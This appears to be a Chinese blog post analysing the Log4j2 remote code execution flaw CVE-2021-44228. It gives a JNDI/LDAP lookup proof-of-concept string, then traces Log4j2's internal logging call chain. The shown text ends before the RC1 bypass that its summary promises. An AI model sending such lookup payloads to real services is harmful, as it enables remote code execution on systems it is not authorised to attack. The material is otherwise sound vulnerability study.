安全漏洞之Log4j2漏洞复现绕过分析

本文深入探讨了Log4j2的安全漏洞,详细分析了RCE漏洞的工作原理,包括漏洞触发流程、修复尝试以及RC1修复的绕过方法。通过实例展示了如何利用特定的payload绕过RC1修复,并介绍了RC2的最终修复方案。
摘要由CSDN通过智能技术生成

0x00 介绍

Log4j2是Java开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告

分配CVE编号:CVE-2021-44228

CVSS评分:10.0(最高只能10分)

POC比较简单

public static void main(String[] args) throws Exception {logger.error("${jndi:ldap://127.0.0.1:1389/badClassName}");
} 

POC虽然简单,但是搭建LDAP环境显得有点复杂,marshalsec方式需要自行编译class并搭建HTTP服务端

java -jar LDAPKit.jar [命令]

截图如下

[<img src="https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/8d4fe34cbd114d0f81629915feba971d~tplv-k3u1fbpfcp-zoom-in-crop-mark:4536:0:0:0.image)](https://link.juejin.cn/?target=https%3A%2F%2Fxuyiqing-1257927651.cos.ap-beijing.myqcloud.com%2Fjava%2F0114.png "https://xuyiqing-1257927651.cos.ap-beijing.myqcloud.com/java/0114.png"" style="margin: auto" />

【一>所有资源获取<一】 1、200份很多已经买不到的绝版电子书 2、30G安全大厂内部的视频资料 3、100份src文档 4、常见安全面试题 5、ctf大赛经典题目解析 6、全套工具包 7、应急响应笔记 8、网络安全学习路线

0x01 RCE分析

首先来看RCE是怎样的原理,先来一段又臭又长的流程分析

看看从logger.error到JndiLookup.lookup中间经历了些什么

从logger.error()层层跟到AbstractLogger.tryLogMessage.log方法

private void tryLogMessage(final String fqcn, final StackTraceElement location, final Level level, final Marker marker, final Message message, final Throwable throwable) {try {log(level, marker, fqcn, location, message, throwable);} catch (final Exception e) {handleLogMessageException(e, fqcn, message);}
} 

不动态调试的情况下跟log方法会到AbstractLogger.log方法,实际上这里是org.apache.logging.log4j.core.Loggger.log方法

@Override
protected void log(final Level level, final Marker marker, final String fqcn, final StackTraceElement location, final Message message, final Throwable throwable) {final ReliabilityStrategy strategy = privateConfig.loggerConfig.getReliabilityStrategy();if (strategy instanceof LocationAwareReliabilityStrategy) {// 触发点((LocationAwareReliabilityStrategy) strategy).log(this, getName(), fqcn, location, marker, level,message, throwable);} else {strategy.log(this, getName(), fqcn, marker, level, message, throwable);}
} 

跟入这里的log方法到org/apache/logging/log4j/core/config/DefaultReliabilityStrategy.log

@Override
public void log(final Supplier<LoggerConfig> reconfigured, final String loggerName, final String fqcn,final StackTraceElement location, final Marker marker, final Level level, final Message data,final Throwable t) {loggerConfig.log(loggerName, fqcn, location, marker, level, data, t);
} 

进入LoggerConfig.log方法

@PerformanceSensitive("allocation")public void log(final String loggerName, final String fqcn, final StackTraceElement location, final Marker marker,final Level level, final Message data, final Throwable t) {// 无需关心的代码...try {// 跟入log(logEvent, LoggerConfigPredicate.ALL);} finally {ReusableLogEventFactory.release(logEvent);}} 

进入LoggerConfig另一处重载log方法

protected void log(final LogEvent event, final LoggerConfigPredicate predicate) {if (!isFiltered(event)) {// 跟入processLogEvent(event, predicate);}
} 
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {event.setIncludeLocation(isIncludeLocation());if (predicate.allow(this)) {// 关键点callAppenders(event);}logParent(event, predicate);
} 

可以看到调用appender.control的callAppender方法

@PerformanceSensitive("allocation")
protected void callAppenders(final LogEvent event) {final AppenderControl[] controls = appenders.get();//noinspection ForLoopReplaceableByForEachfor (int i = 0; i < controls.length; i++) {controls[i].callAppender(event);}
} 

层层跟入到AppenderControl.tryCallAppender方法

private void callAppender0(final LogEvent event) {ensureAppenderStarted();if (!isFilteredByAppender(event)) {// 跟入tryCallAppender(event);}
} 
private void tryCallAppender(final LogEvent event) {try {// 跟入appender.append(event);} catch (final RuntimeException error) {handleAppenderError(event, error);} catch (final Exception error) {handleAppenderError(event, new AppenderLoggingException(error));}
} 

进入AbstractOutputStreamAppender.append方法,进入到directEncodeEvent方法

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值